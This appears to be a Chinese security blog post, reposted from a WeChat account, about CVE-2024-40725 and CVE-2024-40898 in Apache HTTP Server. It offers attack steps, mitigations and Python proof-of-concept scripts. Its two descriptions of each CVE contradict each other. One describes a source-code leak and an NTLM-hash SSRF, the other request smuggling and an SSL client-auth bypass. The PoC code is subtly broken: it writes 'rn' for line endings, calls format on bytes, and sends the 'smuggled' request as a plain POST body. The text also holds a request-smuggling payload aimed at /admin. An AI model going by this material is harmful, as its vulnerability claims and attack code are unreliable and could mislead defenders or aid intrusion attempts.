-
CVE-2024–40725:对以前的问题(CVE-2024–39884)的部分修复回归,该问题允许通过某些基于传统内容类型的配置设置泄露源代码。 -
CVE-2024-40898:mod_rewrite Windows 系统模块中的 SSRF 漏洞,使攻击者能够通过精心设计的请求提取 NTML 哈希。
了解 Apache HTTP 服务器
Apache HTTP 服务器(通常简称为 Apache)是世界上最流行的 Web 服务器软件系统之一。
它由 Apache 软件基金会开发和维护,在向全球用户提供 Web 内容方面发挥着关键作用。以下是其主要特性和功能的简要概述:
历史与发展
Apache 于 1995 年推出,由于其开源特性和强大的功能集而迅速受到青睐。
它具有模块化架构,允许通过各种模块进行广泛的定制,每个模块都可以扩展服务器的功能。
主要特征
-
模块化:Apache 的功能可以通过模块进行扩展,例如mod_sslSSL/TLS 支持、mod_rewriteURL 重写以及mod_proxy代理/网关功能。
-
跨平台兼容性:Apache 可在众多操作系统上运行,包括类 Unix 系统(Linux、FreeBSD)和 Windows。
-
安全性:尽管 Apache 总体上是安全的,但其广泛使用也使其成为攻击者的目标。定期更新和积极主动的安全社区有助于降低风险。
-
性能:Apache 支持多种多处理模块 (MPM) 来高效处理 Web 请求,使其适合小型和大型部署。
在 Web 基础设施中的重要性
Apache 的多功能性和可靠性使其成为 Web 托管环境中的主流。它适用于从小型个人网站到大型复杂 Web 应用程序的各种应用。其丰富的文档和社区支持也使其成为开发人员和系统管理员的首选。
每个漏洞的技术细节和 PoC
CVE-2024-40725:源代码泄露和HTTP请求走私
描述:CVE-2024-40725 是 Apache HTTP Server 2.4.0 至 2.4.61 版本中的一个高危漏洞,影响该mod_proxy模块。此漏洞允许攻击者利用代理和后端服务器之间 HTTP 请求解析的差异执行 HTTP 请求走私攻击,可能导致信息泄露或未经授权的数据访问等未经授权的操作。
受影响的版本:
-
Apache HTTP Server 2.4.0 至 2.4.61
攻击方法:
-
识别目标配置:确定目标系统是否使用受影响的 Apache HTTP Server 版本,并且mod_proxy已启用并ProxyPass配置了指令。
-
精心设计恶意请求:创建一个特殊格式的 HTTP 请求,该请求由代理和后端服务器以不同的方式解析(例如,使用多个Content-Length标头)。
-
发送恶意请求:向目标服务器发送精心设计的请求,从而发起请求走私攻击。
-
利用走私请求:使用走私请求进行进一步的攻击,例如会话劫持或命令注入。
解决:
-
升级到 Apache HTTP Server 2.4.62 或更高版本。
-
确保正确配置代理设置以避免不安全的 URL 重写规则。
-
审查并加强代理配置,以实现代理和后端服务器之间的一致解析。
PoC代码:
import requests
import argparse
def detect_http_request_smuggling(target_url):
smuggled_request = (
"POST / HTTP/1.1rn"
"Host: {}rn"
"Content-Length: 0rn"
"Transfer-Encoding: chunkedrn"
"rn"
"0rnrn"
"GET /admin HTTP/1.1rn"
"Host: {}rn"
"User-Agent: smuggle-testrn"
"rn"
).format(target_url, target_url)
try:
response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)
if response.status_code == 200 and "admin" in response.text:
print(f"Target {target_url} may be vulnerable to CVE-2024-40725")
else:
print(f"Target {target_url} does not appear to be vulnerable to CVE-2024-40725")
except Exception as e:
print(f"An error occurred during detection: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Detect CVE-2024-40725 vulnerability')
parser.add_argument('-u', '--url', required=True, help='Target server URL')
args = parser.parse_args()
detect_http_request_smuggling(args.url)
CVE-2024-40898:SSL 验证绕过
描述:CVE-2024-40898 是 Apache HTTP Server 2.4.0 至 2.4.61 版本中的一个高危漏洞,影响该模块。当指令配置不当时,mod_ssl此漏洞允许攻击者绕过客户端身份验证,从而导致未经授权的访问。SSLVerifyClient
受影响的版本:
-
Apache HTTP Server 2.4.0 至 2.4.61
攻击方法:
-
分析目标 SSL 配置:确定目标系统是否使用SSLVerifyClient配置了指令的受影响版本的 Apache HTTP Server。
-
精心设计绕过请求:创建特定的 SSL 请求来利用身份验证逻辑,绕过用户身份验证(例如,使用无效或部分有效的客户端证书)。
-
发送恶意请求:向目标服务器发送精心设计的请求,试图绕过 SSL 客户端身份验证。
-
利用绕过的身份验证:使用绕过的身份验证进行进一步的攻击,例如数据盗窃或系统入侵。
解决:
-
升级到 Apache HTTP Server 2.4.62 或更高版本。
-
审查并更新 SSL 配置以确保正确使用该SSLVerifyClient指令。
-
加强 SSL 配置以确保有效的客户端身份验证机制。
POC代码
import ssl
import socket
import argparse
def detect_ssl_verification_bypass(target_host, target_port):
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.verify_mode = ssl.CERT_OPTIONAL
try:
with socket.create_connection((target_host, target_port)) as sock:
with context.wrap_socket(sock, server_hostname=target_host) as ssock:
ssock.sendall(b"HEAD / HTTP/1.1rnHost: {}rnrn".format(target_host.encode()))
response = ssock.recv(4096)
if b"200 OK" in response:
print(f"Target {target_host}:{target_port} may be vulnerable to CVE-2024-40898")
else:
print(f"Target {target_host}:{target_port} does not appear to be vulnerable to CVE-2024-40898")
except Exception as e:
print(f"An error occurred during detection: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Detect CVE-2024-40898 vulnerability')
parser.add_argument('-u', '--url', required=True, help='Target server URL')
args = parser.parse_args()
target_host, target_port = args.url.split(":")
detect_ssl_verification_bypass(target_host, int(target_port))
缓解策略和建议措施
为了保护您的服务器免受这些漏洞的侵害,Apache 软件基金会强烈建议升级到 Apache HTTP Server 版本 2.4.62,其中包含对 CVE-2024–40725 和 CVE-2024–40898 的修复。
缓解步骤:
-
升级到最新版本:确保您的 Apache HTTP Server 已更新到 2.4.62 或更高版本。
-
审查配置:审核并调整任何AddType配置mod_rewrite以确保它们不会将您的服务器暴露于间接请求处理漏洞。
-
定期监控和修补:随时了解新的漏洞并及时应用修补程序以维护安全。
结论
CVE-2024–40725 和 CVE-2024–40898 是严重漏洞,强调了警惕服务器管理和及时更新的重要性。Apache HTTP Server 2.4.0 至 2.4.61 版本中的这些漏洞可能会造成严重后果,包括未经授权访问敏感数据以及可能利用服务器配置。
为了保护您的 Web 基础架构,必须升级到 Apache HTTP Server 2.4.62 或更高版本,因为这些漏洞已得到解决。此外,彻底检查和更新您的服务器配置并监控安全补丁将有助于防范未来的威胁。
要想预防安全问题,就需要采取主动措施并致力于维护最新系统。通过了解和缓解这些漏洞,您可以更好地保护您的 Web 服务器并确保数据的完整性。
原文始发于微信公众号(Ots安全):CVE-2024–40725 和 CVE-2024–40898:Apache HTTP 服务器中的严重漏洞+POC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论